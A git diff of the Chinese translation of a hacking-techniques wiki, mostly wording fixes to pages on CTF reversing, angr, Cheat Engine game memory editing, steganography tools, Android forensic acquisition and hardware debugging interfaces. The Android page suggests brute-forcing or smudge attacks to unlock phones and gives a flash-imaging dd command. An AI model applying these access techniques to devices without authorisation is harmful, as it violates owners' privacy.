 
-如果你在玩**CTF，这个找到标志的变通方法**可能非常有用：[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
+如果你在玩**CTF，这个找到标志的变通方法**可能会非常有用：[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
 
 ## Rust
 
@@ -253,7 +253,7 @@ apt-get install libz3-dev
 
 只需按**ATL+f7**（在IDA中导入python插件）并选择python插件。
 
-该插件将在调试开始时执行二进制文件并动态解析函数名称。开始调试后，再次按下开始按钮（绿色按钮或f9），断点将在真实代码的开头命中。
+该插件将在调试开始时执行二进制文件并动态解析函数名称。启动调试后，再次按下开始按钮（绿色按钮或f9），断点将在真实代码的开头命中。
 
 这也非常有趣，因为如果你在图形应用程序中按下一个按钮，调试器将停止在该按钮执行的函数中。
 
@@ -265,7 +265,7 @@ apt-get install libz3-dev
 
 这将解析函数的名称。
 
-## 编译的 Python
+## 编译的Python
 
 在此页面中，你可以找到如何从ELF/EXE Python编译的二进制文件中获取Python代码：
 
@@ -278,7 +278,7 @@ apt-get install libz3-dev
 如果你获得了GBA游戏的**二进制文件**，你可以使用不同的工具来**模拟**和**调试**它：
 
 - [**no$gba**](https://problemkaputt.de/gba.htm)（_下载调试版本_）- 包含带界面的调试器
-- [**mgba** ](https://mgba.io) - 包含CLI调试器
+- [**mgba**](https://mgba.io) - 包含CLI调试器
 - [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra插件
 - [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra插件
 
@@ -366,15 +366,15 @@ FUN_08000864();
 if (uVar1 == 0x10) {
 DAT_030000d8 = DAT_030000d8 + 0x3a;
 ```
-在前面的代码中，您可以看到我们正在将 **uVar1**（按下按钮的 **值** 所在的位置）与一些值进行比较：
+在前面的代码中，你可以看到我们正在将 **uVar1**（**按下按钮的值**所在的位置）与一些值进行比较：
 
-- 首先，它与 **值 4**（**SELECT** 按钮）进行比较：在这个挑战中，这个按钮清除屏幕
-- 然后，它与 **值 8**（**START** 按钮）进行比较：在这个挑战中，这检查代码是否有效以获取标志。
+- 首先，它与 **值 4**（**选择**按钮）进行比较：在这个挑战中，这个按钮清除屏幕。
+- 然后，它与 **值 8**（**开始**按钮）进行比较：在这个挑战中，这检查代码是否有效以获取标志。
 - 在这种情况下，变量 **`DAT_030000d8`** 与 0xf3 进行比较，如果值相同，则执行某些代码。
-- 在其他情况下，检查某个 cont（`DAT_030000d4`）。这是一个 cont，因为在进入代码后立即加 1。\
-**如果** 小于 8，则执行涉及 **添加** 值到 **`DAT_030000d8`** 的操作（基本上是将按下的键的值添加到这个变量中，只要 cont 小于 8）。
+- 在其他情况下，检查某个 cont（`DAT_030000d4`）。这是一个 cont，因为在进入代码后会加 1。\
+**如果** 小于 8，则会进行一些涉及 **添加** 值到 **`DAT_030000d8`** 的操作（基本上是将按下的键的值添加到这个变量中，只要 cont 小于 8）。
 
-因此，在这个挑战中，知道按钮的值，您需要 **按下一个长度小于 8 的组合，使得结果的和为 0xf3。**
+因此，在这个挑战中，知道按钮的值，你需要 **按下一个长度小于 8 的组合，使得结果的和为 0xf3。**
 
 **本教程的参考：** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
 
diff --git a/src/reversing/reversing-tools-basic-methods/angr/README.md b/src/reversing/reversing-tools-basic-methods/angr/README.md
index d10e866b1..aad2a0fdf 100644
--- a/src/reversing/reversing-tools-basic-methods/angr/README.md
+++ b/src/reversing/reversing-tools-basic-methods/angr/README.md
@@ -28,7 +28,7 @@ proj.filename #Get filename "/bin/true"
 #Usually you won't need to use them but you could
 angr.Project('examples/fauxware/fauxware', main_opts={'backend': 'blob', 'arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}})
 ```
-# 加载的和主对象信息
+# 加载和主对象信息
 
 ## 加载的数据
 ```python
@@ -94,7 +94,7 @@ block.instruction_addrs #Get instructions addresses "[0x401670, 0x401672, 0x4016
 ```
 # 动态分析
 
-## 仿真管理器，状态
+## 模拟管理器，状态
 ```python
 #Live States
 #This is useful to modify content in a live analysis
@@ -119,9 +119,9 @@ simgr.active[0].regs.rip #Get RIP from the last state
 ```
 ## 调用函数
 
-- 你可以通过 `args` 传递参数列表，通过 `env` 传递环境变量字典到 `entry_state` 和 `full_init_state`。这些结构中的值可以是字符串或位向量，并将被序列化为模拟执行的参数和环境。默认的 `args` 是一个空列表，因此如果你分析的程序期望至少找到一个 `argv[0]`，你应该始终提供它！
-- 如果你希望 `argc` 是符号的，可以将一个符号位向量作为 `argc` 传递给 `entry_state` 和 `full_init_state` 构造函数。不过要小心：如果这样做，你还应该向结果状态添加一个约束，确保你的 argc 值不能大于你传递给 `args` 的参数数量。
-- 要使用调用状态，你应该使用 `.call_state(addr, arg1, arg2, ...)` 调用它，其中 `addr` 是你想要调用的函数的地址，`argN` 是该函数的第 N 个参数，可以是 Python 整数、字符串、数组或位向量。如果你想分配内存并实际传递一个对象的指针，你应该将其包装在 PointerWrapper 中，即 `angr.PointerWrapper("point to me!")`。这个 API 的结果可能有点不可预测，但我们正在努力改进它。
+- 您可以通过 `args` 传递参数列表，通过 `env` 传递环境变量字典到 `entry_state` 和 `full_init_state`。这些结构中的值可以是字符串或位向量，并将被序列化为模拟执行的参数和环境。默认的 `args` 是一个空列表，因此如果您分析的程序期望找到至少一个 `argv[0]`，您应该始终提供它！
+- 如果您希望 `argc` 是符号的，可以将符号位向量作为 `argc` 传递给 `entry_state` 和 `full_init_state` 构造函数。不过要小心：如果您这样做，您还应该向结果状态添加一个约束，确保您的 argc 值不能大于您传递给 `args` 的参数数量。
+- 要使用调用状态，您应该使用 `.call_state(addr, arg1, arg2, ...)` 调用它，其中 `addr` 是您想要调用的函数的地址，`argN` 是该函数的第 N 个参数，可以是 Python 整数、字符串、数组或位向量。如果您想分配内存并实际传递一个对象的指针，您应该将其包装在 PointerWrapper 中，即 `angr.PointerWrapper("point to me!")`。此 API 的结果可能有些不可预测，但我们正在努力改进它。
 
 ## 位向量
 ```python
diff --git a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
index 87e02587e..c7e3e1d02 100644
--- a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
+++ b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
@@ -201,7 +201,7 @@ raise Exception('Could not find the solution')
 if __name__ == '__main__':
 main(sys.argv)
 ```
-在这个场景中，输入是通过 `scanf("%u %u")` 获取的，给定的值是 `"1 1"`，因此栈中的值 **`0x00000001`** 来自 **用户输入**。你可以看到这些值从 `$ebp - 8` 开始。因此，在代码中我们 **从 `$esp` 中减去了 8 字节（因为那时 `$ebp` 和 `$esp` 的值是相同的）**，然后我们推送了 BVS。
+在这个场景中，输入是通过 `scanf("%u %u")` 获取的，给定的值是 `"1 1"`，因此栈中的值 **`0x00000001`** 来自 **用户输入**。你可以看到这些值从 `$ebp - 8` 开始。因此，在代码中我们 **从 `$esp` 中减去了 8 字节（因为那时 `$ebp` 和 `$esp` 的值相同）**，然后我们推送了 BVS。
 
 ![](<../../../images/image (136).png>)
 
@@ -266,7 +266,7 @@ raise Exception('Could not find the solution')
 if __name__ == '__main__':
 main(sys.argv)
 ```
-### 动态内存值（Malloc）
+### 动态内存值 (Malloc)
 ```python
 import angr
 import claripy
@@ -386,7 +386,7 @@ main(sys.argv)
 > ```python
 >   # Hello world, my name is John.
 >   # ^                       ^
->   # ^ 地址 0             ^ 地址 24 (计算字符数)
+>   # ^ 地址 0                ^ 地址 24 (计算字符数)
 >   # 为了在内存中表示这一点，我们希望将字符串写入
 >   # 文件的开头：
 >   #
@@ -406,8 +406,8 @@ main(sys.argv)
 ### 应用约束
 
 > [!NOTE]
-> 有时，简单的人类操作，比如逐个字符比较两个长度为 16 的单词（循环），**对** **angr** **的成本**很高，因为它需要生成**指数级**的分支，因为它每个 if 生成 1 个分支：`2^16`\
-> 因此，更容易**让 angr 回到一个之前的点**（在那里真正困难的部分已经完成）并**手动设置这些约束**。
+> 有时，简单的人类操作，比如逐个字符比较两个长度为 16 的单词（循环），**对 angr 的成本**很高，因为它需要生成**指数级**的分支，因为它每个 if 生成 1 个分支：`2^16`\
+> 因此，**让 angr 回到之前的点**（真实的困难部分已经完成）并**手动设置这些约束**会更容易。
 ```python
 # After perform some complex poperations to the input the program checks
 # char by char the password against another password saved, like in the snippet:
@@ -482,7 +482,7 @@ main(sys.argv)
 > 在某些情况下，您可以激活 **veritesting**，这将合并相似的状态，以节省无用的分支并找到解决方案： `simulation = project.factory.simgr(initial_state, veritesting=True)`
 
 > [!NOTE]
-> 在这些情况下，您还可以 **hook 函数，给 angr 一些它可以更容易理解的东西**。
+> 在这些情况下，您还可以做的另一件事是 **hook 函数，给 angr 提供更容易理解的内容**。
 
 ### Simulation Managers
 
diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md
index c0f8f83a3..c45fed0a4 100644
--- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md
+++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md
@@ -30,7 +30,7 @@
 
 ## 修改值
 
-一旦你**找到**你正在**寻找的值**（更多内容在后面的步骤中），你可以通过双击它来**修改**它，然后双击其值：
+一旦你**找到**你正在**寻找的值**（更多内容在接下来的步骤中），你可以通过双击它来**修改**它，然后双击其值：
 
 ![](<../../images/image (563).png>)
 
@@ -42,11 +42,11 @@
 
 ## 搜索值
 
-所以，我们假设有一个重要的值（比如你用户的生命值）你想要提高，并且你正在内存中寻找这个值）
+所以，我们假设有一个重要值（比如你用户的生命值）你想要提高，并且你正在内存中寻找这个值）
 
-### 通过已知的变化
+### 通过已知更改
 
-假设你在寻找值100，你**执行扫描**以搜索该值，并且你发现了很多匹配项：
+假设你在寻找值100，你**执行扫描**以搜索该值，并找到很多匹配项：
 
 ![](<../../images/image (108).png>)
 
@@ -54,10 +54,10 @@
 
 ![](<../../images/image (684).png>)
 
-Cheat Engine 将搜索**从100变为新值**的**值**。恭喜你，你**找到了**你正在寻找的**值的地址**，现在你可以修改它。\
+Cheat Engine 将搜索**从100变为新值**的**值**。恭喜，你**找到了**你正在寻找的**值的地址**，现在你可以修改它。\
 如果你仍然有多个值，做一些事情再次修改该值，并执行另一次“下一次扫描”以过滤地址。
 
-### 未知值，已知变化
+### 未知值，已知更改
 
 在你**不知道值**但你知道**如何使其变化**（甚至变化的值）的情况下，你可以寻找你的数字。
 
@@ -75,7 +75,7 @@ Cheat Engine 将搜索**从100变为新值**的**值**。恭喜你，你**找到
 
 一旦你找到了你的值，你可以修改它。
 
-请注意，有很多可能的变化，你可以根据需要多次执行这些**步骤**以过滤结果：
+请注意，有很多**可能的变化**，你可以根据需要**多次执行这些步骤**以过滤结果：
 
 ![](<../../images/image (574).png>)
 
@@ -87,8 +87,8 @@ Cheat Engine 将搜索**从100变为新值**的**值**。恭喜你，你**找到
 
 ![](<../../images/image (1067).png>)
 
-**第一个选项**有助于了解**代码**的**哪些部分**在**使用**此**地址**（这对于更多事情很有用，比如**知道你可以在哪里修改游戏的代码**）。\
-**第二个选项**更为**具体**，在这种情况下更有帮助，因为我们想知道**这个值是从哪里写入的**。
+**第一个选项**有助于了解**代码**的**哪些部分**在**使用**此**地址**（这对于更多事情很有用，比如**知道你可以在哪里修改游戏代码**）。\
+**第二个选项**更**具体**，在这种情况下更有帮助，因为我们想知道**这个值是从哪里写入的**。
 
 一旦你选择了其中一个选项，**调试器**将**附加**到程序，并且会出现一个新的**空窗口**。现在，**玩**游戏并**修改**该**值**（无需重新启动游戏）。**窗口**应该会**填充**正在**修改**该**值**的**地址**：
 
@@ -102,7 +102,7 @@ Cheat Engine 将搜索**从100变为新值**的**值**。恭喜你，你**找到
 
 ### 随机内存地址 - 查找指针
 
-按照之前的步骤，找到你感兴趣的值。然后，使用“**查找写入此地址的内容**”找出哪个地址写入此值，并双击它以获取反汇编视图：
+按照前面的步骤，找到你感兴趣的值。然后，使用“**查找写入此地址的内容**”找出哪个地址写入此值，并双击它以获取反汇编视图：
 
 ![](<../../images/image (1039).png>)
 
@@ -150,7 +150,7 @@ Cheat Engine 将搜索**从100变为新值**的**值**。恭喜你，你**找到
 
 ![](<../../images/image (944).png>)
 
-因此，将你的新汇编代码插入到“**newmem**”部分，并从“**originalcode**”中删除原始代码，如果你不想让它被执行\*\*.\*\* 在这个例子中，注入的代码将增加2点而不是减少1：
+因此，将你的新汇编代码插入“**newmem**”部分，并从“**originalcode**”中删除原始代码，如果你不想让它被执行\*\*.\*\* 在这个例子中，注入的代码将增加2点而不是减少1：
 
 ![](<../../images/image (521).png>)
 
diff --git a/src/reversing/word-macros.md b/src/reversing/word-macros.md
index 11a7eaea6..da1930fdd 100644
--- a/src/reversing/word-macros.md
+++ b/src/reversing/word-macros.md
@@ -5,7 +5,7 @@
 ### 垃圾代码
 
 很常见会发现**从未使用的垃圾代码**，以使宏的逆向工程更加困难。\
-例如，在下面的图像中，可以看到一个永远不会为真的 If 被用来执行一些垃圾和无用的代码。
+例如，在下图中可以看到，某个永远不会为真的条件被用来执行一些垃圾和无用的代码。
 
 ![](<../images/image (369).png>)
 
diff --git a/src/stego/esoteric-languages.md b/src/stego/esoteric-languages.md
index 8b5d3fd07..651d80808 100644
--- a/src/stego/esoteric-languages.md
+++ b/src/stego/esoteric-languages.md
@@ -1,10 +1,10 @@
-# 隐秘语言
+# 神秘语言
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
 
-查看该维基以搜索更多隐秘语言
+查看该维基以搜索更多神秘语言
 
 ## Malbolge
 ```
diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md
index 75a3918bb..8ae9f1763 100644
--- a/src/stego/stego-tricks.md
+++ b/src/stego/stego-tricks.md
@@ -89,36 +89,36 @@ Steghide 方便地在 `JPEG, BMP, WAV, 和 AU` 文件中隐藏数据，能够嵌
 ```bash
 stegcracker <file> [<wordlist>]
 ```
-### **zsteg用于PNG和BMP文件**
+### **zsteg for PNG and BMP Files**
 
-zsteg专注于揭示PNG和BMP文件中的隐藏数据。安装通过`gem install zsteg`完成，其[源代码在GitHub上](https://github.com/zed-0xff/zsteg)。
+zsteg 专注于揭示 PNG 和 BMP 文件中的隐藏数据。安装通过 `gem install zsteg` 完成，其 [源代码在 GitHub](https://github.com/zed-0xff/zsteg)。
 
 **命令：**
 
-- `zsteg -a file`对文件应用所有检测方法。
-- `zsteg -E file`指定用于数据提取的有效载荷。
+- `zsteg -a file` 对文件应用所有检测方法。
+- `zsteg -E file` 指定用于数据提取的有效载荷。
 
-### **StegoVeritas和Stegsolve**
+### **StegoVeritas and Stegsolve**
 
-**stegoVeritas**检查元数据，执行图像转换，并应用LSB暴力破解等功能。使用`stegoveritas.py -h`获取完整选项列表，使用`stegoveritas.py stego.jpg`执行所有检查。
+**stegoVeritas** 检查元数据，执行图像转换，并应用 LSB 暴力破解等功能。使用 `stegoveritas.py -h` 获取完整选项列表，使用 `stegoveritas.py stego.jpg` 执行所有检查。
 
-**Stegsolve**应用各种颜色滤镜以揭示图像中的隐藏文本或消息。它可在[GitHub上](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)获取。
+**Stegsolve** 应用各种颜色滤镜以揭示图像中的隐藏文本或消息。它可在 [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) 上获取。
 
-### **FFT用于隐藏内容检测**
+### **FFT for Hidden Content Detection**
 
-快速傅里叶变换（FFT）技术可以揭示图像中的隐蔽内容。实用资源包括：
+快速傅里叶变换 (FFT) 技术可以揭示图像中的隐藏内容。 有用的资源包括：
 
-- [EPFL演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
+- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
 - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
-- [GitHub上的FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
+- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
 
-### **Stegpy用于音频和图像文件**
+### **Stegpy for Audio and Image Files**
 
-Stegpy允许将信息嵌入图像和音频文件，支持PNG、BMP、GIF、WebP和WAV等格式。它可在[GitHub上](https://github.com/dhsdshdhk/stegpy)获取。
+Stegpy 允许将信息嵌入图像和音频文件，支持 PNG、BMP、GIF、WebP 和 WAV 等格式。它可在 [GitHub](https://github.com/dhsdshdhk/stegpy) 上获取。
 
-### **Pngcheck用于PNG文件分析**
+### **Pngcheck for PNG File Analysis**
 
-要分析PNG文件或验证其真实性，请使用：
+要分析 PNG 文件或验证其真实性，请使用：
 ```bash
 apt-get install pngcheck
 pngcheck stego.png
@@ -184,7 +184,7 @@ math.sqrt(2500) #50
 
 ### **盲文翻译**
 
-对于盲文翻译，[Branah Braille Translator](https://www.branah.com/braille-translator) 是一个优秀的资源。
+对于盲文翻译，[Branah Braille Translator](https://www.branah.com/braille-translator) 是一个很好的资源。
 
 ## **参考文献**
 
diff --git a/src/todo/android-forensics.md b/src/todo/android-forensics.md
index 3e4b8e6e1..03b38aa45 100644
--- a/src/todo/android-forensics.md
+++ b/src/todo/android-forensics.md
@@ -6,19 +6,19 @@
 
 要开始从 Android 设备提取数据，设备必须解锁。如果设备被锁定，您可以：
 
-- 检查设备是否已通过 USB 激活调试。
+- 检查设备是否启用了 USB 调试。
 - 检查是否存在可能的 [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
 - 尝试使用 [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
 
 ## 数据获取
 
-使用 adb 创建 [android backup](../mobile-pentesting/android-app-pentesting/adb-commands.md#backup) 并使用 [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/) 提取：`java -jar abe.jar unpack file.backup file.tar`
+创建一个 [android backup using adb](../mobile-pentesting/android-app-pentesting/adb-commands.md#backup) 并使用 [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/) 提取： `java -jar abe.jar unpack file.backup file.tar`
 
 ### 如果有 root 访问或物理连接到 JTAG 接口
 
-- `cat /proc/partitions`（搜索闪存的路径，通常第一个条目是 _mmcblk0_，对应整个闪存）。
-- `df /data`（发现系统的块大小）。
-- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096（使用从块大小收集的信息执行）。
+- `cat /proc/partitions` （搜索闪存的路径，通常第一个条目是 _mmcblk0_，对应整个闪存）。
+- `df /data` （发现系统的块大小）。
+- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 （使用从块大小收集的信息执行）。
 
 ### 内存
 
diff --git a/src/todo/hardware-hacking/README.md b/src/todo/hardware-hacking/README.md
index 4b739bc2a..e797b900c 100644
--- a/src/todo/hardware-hacking/README.md
+++ b/src/todo/hardware-hacking/README.md
@@ -19,15 +19,15 @@ JTAG 标准定义了 **进行边界扫描的特定命令**，包括以下内容
 
 当您使用像 JTAGulator 这样的工具时，可能会遇到这些指令。
 
-### 测试访问端口
+### 测试接入端口
 
-边界扫描包括对四线 **测试访问端口 (TAP)** 的测试，这是一个通用端口，提供 **对 JTAG 测试支持** 功能的访问。TAP 使用以下五个信号：
+边界扫描包括对四线 **测试接入端口 (TAP)** 的测试，这是一个通用端口，提供 **对 JTAG 测试支持** 功能的访问。TAP 使用以下五个信号：
 
-- 测试时钟输入 (**TCK**) TCK 是定义 TAP 控制器将执行单个操作的频率的 **时钟**（换句话说，跳转到状态机中的下一个状态）。
+- 测试时钟输入 (**TCK**) TCK 是定义 TAP 控制器执行单个操作频率的 **时钟**（换句话说，跳转到状态机中的下一个状态）。
 - 测试模式选择 (**TMS**) 输入 TMS 控制 **有限状态机**。在每个时钟脉冲上，设备的 JTAG TAP 控制器检查 TMS 引脚上的电压。如果电压低于某个阈值，则信号被视为低并解释为 0；如果电压高于某个阈值，则信号被视为高并解释为 1。
 - 测试数据输入 (**TDI**) TDI 是将 **数据通过扫描单元发送到芯片** 的引脚。每个供应商负责定义该引脚上的通信协议，因为 JTAG 并未定义此内容。
 - 测试数据输出 (**TDO**) TDO 是将 **数据从芯片发送出去** 的引脚。
-- 测试复位 (**TRST**) 输入 可选的 TRST 将有限状态机 **重置为已知良好状态**。或者，如果 TMS 在连续五个时钟周期内保持为 1，则会调用复位，方式与 TRST 引脚相同，这就是 TRST 是可选的原因。
+- 测试复位 (**TRST**) 输入 可选的 TRST 将有限状态机 **重置为已知良好状态**。或者，如果 TMS 在五个连续的时钟周期内保持为 1，则会调用复位，方式与 TRST 引脚相同，这就是 TRST 是可选的原因。
 
 有时您可以在 PCB 上找到这些引脚的标记。在其他情况下，您可能需要 **找到它们**。
 
@@ -35,7 +35,7 @@ JTAG 标准定义了 **进行边界扫描的特定命令**，包括以下内容
 
 检测 JTAG 端口的最快但最昂贵的方法是使用 **JTAGulator**，这是一种专门为此目的创建的设备（尽管它也 **可以检测 UART 引脚**）。
 
-它有 **24 个通道**，您可以将其连接到电路板引脚。然后，它执行 **BF 攻击**，发送所有可能组合的 **IDCODE** 和 **BYPASS** 边界扫描命令。如果收到响应，它会显示每个 JTAG 信号对应的通道。
+它有 **24 个通道**，您可以连接到电路板引脚。然后，它执行 **BF 攻击**，发送所有可能组合的 **IDCODE** 和 **BYPASS** 边界扫描命令。如果收到响应，它会显示每个 JTAG 信号对应的通道。
 
 一种更便宜但速度较慢的识别 JTAG 引脚的方法是使用 [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) 加载在 Arduino 兼容的微控制器上。
 
@@ -47,6 +47,6 @@ JTAG 标准定义了 **进行边界扫描的特定命令**，包括以下内容
 
 SWD 是一种专为调试设计的 ARM 特定协议。
 
-SWD 接口需要 **两个引脚**：一个双向的 **SWDIO** 信号，相当于 JTAG 的 **TDI 和 TDO 引脚** 以及一个时钟，和 **SWCLK**，相当于 JTAG 中的 **TCK**。许多设备支持 **串行线或 JTAG 调试端口 (SWJ-DP)**，这是一个结合了 JTAG 和 SWD 接口的接口，允许您将 SWD 或 JTAG 探头连接到目标。
+SWD 接口需要 **两个引脚**：一个双向的 **SWDIO** 信号，相当于 JTAG 的 **TDI 和 TDO 引脚** 以及一个时钟，和 **SWCLK**，相当于 JTAG 中的 **TCK**。许多设备支持 **串行线或 JTAG 调试端口 (SWJ-DP)**，这是一个结合了 JTAG 和 SWD 接口的接口，使您能够将 SWD 或 JTAG 探头连接到目标。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/hardware-hacking/i2c.md b/src/todo/hardware-hacking/i2c.md
index 34ad27327..e97077479 100644
--- a/src/todo/hardware-hacking/i2c.md
+++ b/src/todo/hardware-hacking/i2c.md
@@ -43,7 +43,7 @@ Any key to exit
 #Press space
 Found 0 errors.
 ```
-如您在前面的命令行中看到的，它显示找到 0 个错误。这在购买后或刷新固件后确认其正常工作时非常有用。
+如您在前面的命令行中看到的，它显示找到 0 个错误。这在购买后或刷新固件后确认其正常工作非常有用。
 
 要连接到 bus pirate，您可以参考文档：
 
@@ -53,8 +53,8 @@ Found 0 errors.
 
 ![](<../../images/image (964).png>)
 
-为了与 bus pirate 通信，我使用 Tera Term 连接到 pirate bus COM 端口，设置为 Setup --> Serial Port --> Speed 为 115200。\
-在以下通信中，您可以找到如何准备 bus pirate 以进行 I2C 通信，以及如何从内存中写入和读取（注释使用 "#" 出现，不要期待通信中包含该部分）：
+与 bus pirate 通信时，我使用 Tera Term 连接到 pirate bus COM 端口，设置为 Setup --> Serial Port --> Speed 为 115200。\
+在以下通信中，您可以找到如何准备 bus pirate 以进行 I2C 通信，以及如何从内存中写入和读取（注释部分使用 "#"，请不要期待在通信中看到该部分）：
 ```bash
 # Check communication with buspirate
 i
diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md
index af15c46b7..ca9de1a3b 100644
--- a/src/todo/hardware-hacking/radio.md
+++ b/src/todo/hardware-hacking/radio.md
@@ -70,7 +70,7 @@
 
 #### Checking the envelope
 
-使用[**SigDigger** ](https://github.com/BatchDrake/SigDigger)检查AM信息，仅查看**包络**，您可以看到不同的清晰幅度水平。所使用的信号以AM发送脉冲信息，这就是一个脉冲的样子：
+使用[**SigDigger** ](https://github.com/BatchDrake/SigDigger)检查AM信息，仅查看**包络**，您可以看到不同的清晰幅度水平。使用的信号以AM发送脉冲信息，这就是一个脉冲的样子：
 
 ![](<../../images/image (590).png>)
 
@@ -112,7 +112,7 @@
 
 ### Get Bits
 
-发现这是一个**AM调制**信号和**符号率**（并且知道在这种情况下上升表示1，下降表示0），非常容易**获取信号中编码的比特**。因此，选择包含信息的信号并配置采样和决策，然后按下采样（检查**幅度**已选择，发现的**符号率**已配置，并选择了**Gadner时钟恢复**）：
+发现这是一个**AM调制**信号和**符号率**（并且知道在这种情况下上升意味着1，下降意味着0），非常容易**获取信号中编码的比特**。因此，选择包含信息的信号并配置采样和决策，然后按下采样（检查**幅度**已选择，发现的**符号率**已配置，**Gadner时钟恢复**已选择）：
 
 ![](<../../images/image (965).png>)
 
@@ -125,19 +125,19 @@
 
 ![](<../../images/image (644).png>)
 
-现在，为了让SigDigger理解**信息承载的水平范围**，您需要单击**较低水平**并保持按住，直到达到最高水平：
+现在，为了让SigDigger理解**信息承载水平的范围**，您需要单击**较低水平**并保持按住，直到达到最高水平：
 
 ![](<../../images/image (439).png>)
 
 如果例如有**4个不同的幅度水平**，您应该将**每个符号的比特数配置为2**，并从最小值选择到最大值。
 
-最后，通过**增加****缩放**和**更改行大小**，您可以看到比特（您可以选择所有并复制以获取所有比特）：
+最后**增加****缩放**和**更改行大小**，您可以看到比特（您可以选择所有并复制以获取所有比特）：
 
 ![](<../../images/image (276).png>)
 
 如果信号每个符号有超过1个比特（例如2），SigDigger**无法知道哪个符号是**00、01、10、11，因此它将使用不同的**灰度**来表示每个（如果您复制比特，它将使用**0到3的数字**，您需要处理它们）。
 
-此外，使用**编码**如**曼彻斯特**，上+下可以是**1或0**，而下+上可以是1或0。在这些情况下，您需要**处理获得的上升（1）和下降（0）**以替换成对的01或10为0或1。
+此外，使用**编码**如**曼彻斯特**，上+下可以是**1或0**，下+上可以是1或0。在这些情况下，您需要**处理获得的上升（1）和下降（0）**以替换01或10的对作为0或1。
 
 ## FM Example
 
diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md
index bb98e4647..39c028c6b 100644
--- a/src/todo/hardware-hacking/side_channel_analysis.md
+++ b/src/todo/hardware-hacking/side_channel_analysis.md
@@ -4,4 +4,4 @@
 
 分析靠近声源的玻璃板中的振动，但声源是不可接触的。玻璃中的振动受到声源的影响，如果进行监测和分析，可以解码和解释声音。
 
-在泄露数据的情况下，例如私钥或查找处理器中的操作，这些攻击非常流行。电子电路有很多渠道，从中不断泄露信息。监测和分析可以用于披露关于电路及其内部的很多信息。
+这些攻击在泄露数据的情况下非常流行，例如私钥或查找处理器中的操作。电子电路有很多渠道，从中不断泄露信息。监测和分析可以用于披露有关电路及其内部的很多信息。
diff --git a/src/todo/hardware-hacking/spi.md b/src/todo/hardware-hacking/spi.md
index c4264f43c..120431ede 100644
--- a/src/todo/hardware-hacking/spi.md
+++ b/src/todo/hardware-hacking/spi.md
@@ -4,19 +4,19 @@
 
 ## 基本信息
 
-SPI（串行外设接口）是一种同步串行通信协议，用于嵌入式系统中IC（集成电路）之间的短距离通信。SPI通信协议利用主从架构，由时钟和芯片选择信号进行协调。主从架构由一个主设备（通常是微处理器）管理外部外设，如EEPROM、传感器、控制设备等，这些外设被视为从设备。
+SPI（串行外设接口）是一种用于嵌入式系统的同步串行通信协议，用于IC（集成电路）之间的短距离通信。SPI通信协议利用主从架构，由时钟和芯片选择信号进行协调。主从架构由一个主设备（通常是微处理器）管理外部外设，如EEPROM、传感器、控制设备等，这些外设被视为从设备。
 
 多个从设备可以连接到一个主设备，但从设备之间不能相互通信。从设备由两个引脚管理，时钟和芯片选择。由于SPI是一种同步通信协议，输入和输出引脚遵循时钟信号。芯片选择由主设备用于选择一个从设备并与之交互。当芯片选择为高时，从设备未被选择，而当其为低时，芯片已被选择，主设备将与从设备进行交互。
 
-MOSI（主设备输出，从设备输入）和MISO（主设备输入，从设备输出）负责数据发送和接收。数据通过MOSI引脚发送到从设备，同时芯片选择保持为低。输入数据包含指令、内存地址或根据从设备供应商的数据表的数据。在有效输入后，MISO引脚负责将数据传输到主设备。输出数据在输入结束后的下一个时钟周期准确发送。MISO引脚在数据完全传输完毕之前会继续传输数据，或者主设备将芯片选择引脚设置为高（在这种情况下，从设备将停止传输，主设备在下一个时钟周期后将不再接收）。
+MOSI（主输出，从输入）和MISO（主输入，从输出）负责数据发送和接收。数据通过MOSI引脚发送到从设备，同时芯片选择保持为低。输入数据包含指令、内存地址或根据从设备供应商的数据表的数据。在有效输入后，MISO引脚负责将数据传输到主设备。输出数据在输入结束后的下一个时钟周期准确发送。MISO引脚在数据完全传输完毕之前会继续传输数据，或者主设备将芯片选择引脚设为高（在这种情况下，从设备将停止传输，主设备在下一个时钟周期后将不再接收）。
 
 ## 从EEPROM中转储固件
 
-转储固件对于分析固件和发现其中的漏洞非常有用。很多时候，固件在互联网上不可用或由于型号、版本等因素的变化而无关紧要。因此，直接从物理设备提取固件在寻找威胁时可以提供特定的帮助。
